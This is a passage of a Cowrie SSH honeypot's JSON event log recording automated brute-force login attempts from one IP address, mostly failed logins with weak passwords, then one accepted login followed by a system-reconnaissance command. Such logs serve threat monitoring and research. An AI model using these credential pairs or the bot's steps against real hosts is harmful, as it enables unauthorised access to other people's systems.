1@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:33.064109Z","src_ip":"192.109.200.237","session":"c215f4b7341f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu123456","message":"login attempt [ubuntu/ubuntu123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:33.311546Z","src_ip":"192.109.200.237","session":"c215f4b7341f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:34.396240Z","src_ip":"192.109.200.237","session":"c215f4b7341f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":52344,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc4df3975f2a","protocol":"ssh","message":"New connection: 192.109.200.237:52344 (159.203.135.109:22) [session: cc4df3975f2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:36.013381Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:36.017756Z","src_ip":"192.109.200.237","session":"cc4df3975f2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:36.100081Z","src_ip":"192.109.200.237","session":"cc4df3975f2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"102030","message":"login attempt [root/102030] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:36.345201Z","src_ip":"192.109.200.237","session":"cc4df3975f2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:37.431250Z","src_ip":"192.109.200.237","session":"cc4df3975f2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":52348,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b7acc758d5f","protocol":"ssh","message":"New connection: 192.109.200.237:52348 (159.203.135.109:22) [session: 6b7acc758d5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:39.135700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:39.140097Z","src_ip":"192.109.200.237","session":"6b7acc758d5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:39.222384Z","src_ip":"192.109.200.237","session":"6b7acc758d5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd1234","message":"login attempt [root/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:39.468773Z","src_ip":"192.109.200.237","session":"6b7acc758d5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:40.553931Z","src_ip":"192.109.200.237","session":"6b7acc758d5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47342,"dst_ip":"159.203.135.109","dst_port":22,"session":"4461efc4b656","protocol":"ssh","message":"New connection: 192.109.200.237:47342 (159.203.135.109:22) [session: 4461efc4b656]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:42.233939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:42.238887Z","src_ip":"192.109.200.237","session":"4461efc4b656","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:42.320769Z","src_ip":"192.109.200.237","session":"4461efc4b656","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"123","message":"login attempt [developer/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:42.566688Z","src_ip":"192.109.200.237","session":"4461efc4b656","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:43.651742Z","src_ip":"192.109.200.237","session":"4461efc4b656","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47350,"dst_ip":"159.203.135.109","dst_port":22,"session":"f72c19ffa437","protocol":"ssh","message":"New connection: 192.109.200.237:47350 (159.203.135.109:22) [session: f72c19ffa437]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:45.335345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:45.340701Z","src_ip":"192.109.200.237","session":"f72c19ffa437","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:45.423552Z","src_ip":"192.109.200.237","session":"f72c19ffa437","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123","message":"login attempt [root/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:45.670942Z","src_ip":"192.109.200.237","session":"f72c19ffa437","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:46.834135Z","src_ip":"192.109.200.237","session":"f72c19ffa437","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47368,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd90121936ec","protocol":"ssh","message":"New connection: 192.109.200.237:47368 (159.203.135.109:22) [session: bd90121936ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:48.492109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:48.497105Z","src_ip":"192.109.200.237","session":"bd90121936ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:48.580039Z","src_ip":"192.109.200.237","session":"bd90121936ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX3edc","message":"login attempt [root/1qaz@WSX3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:48.831370Z","src_ip":"192.109.200.237","session":"bd90121936ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:49.922317Z","src_ip":"192.109.200.237","session":"bd90121936ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":33932,"dst_ip":"159.203.135.109","dst_port":22,"session":"5db45b278ecf","protocol":"ssh","message":"New connection: 192.109.200.237:33932 (159.203.135.109:22) [session: 5db45b278ecf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:51.618813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:51.623488Z","src_ip":"192.109.200.237","session":"5db45b278ecf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:51.705513Z","src_ip":"192.109.200.237","session":"5db45b278ecf","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"abc123","message":"login attempt [oracle/abc123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:51.958955Z","src_ip":"192.109.200.237","session":"5db45b278ecf","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:52.162608Z","src_ip":"192.109.200.237","session":"5db45b278ecf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:52.165831Z","src_ip":"192.109.200.237","session":"5db45b278ecf","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:52.250942Z","src_ip":"192.109.200.237","session":"5db45b278ecf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:52.255491Z","src_ip":"192.109.200.237","session":"5db45b278ecf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":33944,"dst_ip":"159.203.135.109","dst_port":22,"session":"ffac69f4a7be","protocol":"ssh","message":"New connection: 192.109.200.237:33944 (159.203.135.109:22) [session: ffac69f4a7be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:54.748831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:54.754054Z","src_ip":"192.109.200.237","session":"ffac69f4a7be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:54.836106Z","src_ip":"192.109.200.237","session":"ffac69f4a7be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12qwaszx","message":"login attempt [root/12qwaszx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:55.084474Z","src_ip":"192.109.200.237","session":"ffac69f4a7be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:56.170410Z","src_ip":"192.109.200.237","session":"ffac69f4a7be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":33960,"dst_ip":"159.203.135.109","dst_port":22,"session":"74d2581ab251","protocol":"ssh","message":"New connection: 192.109.200.237:33960 (159.203.135.109:22) [session: 74d2581ab251]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:57.861249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:57.873241Z","src_ip":"192.109.200.237","session":"74d2581ab251","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","ae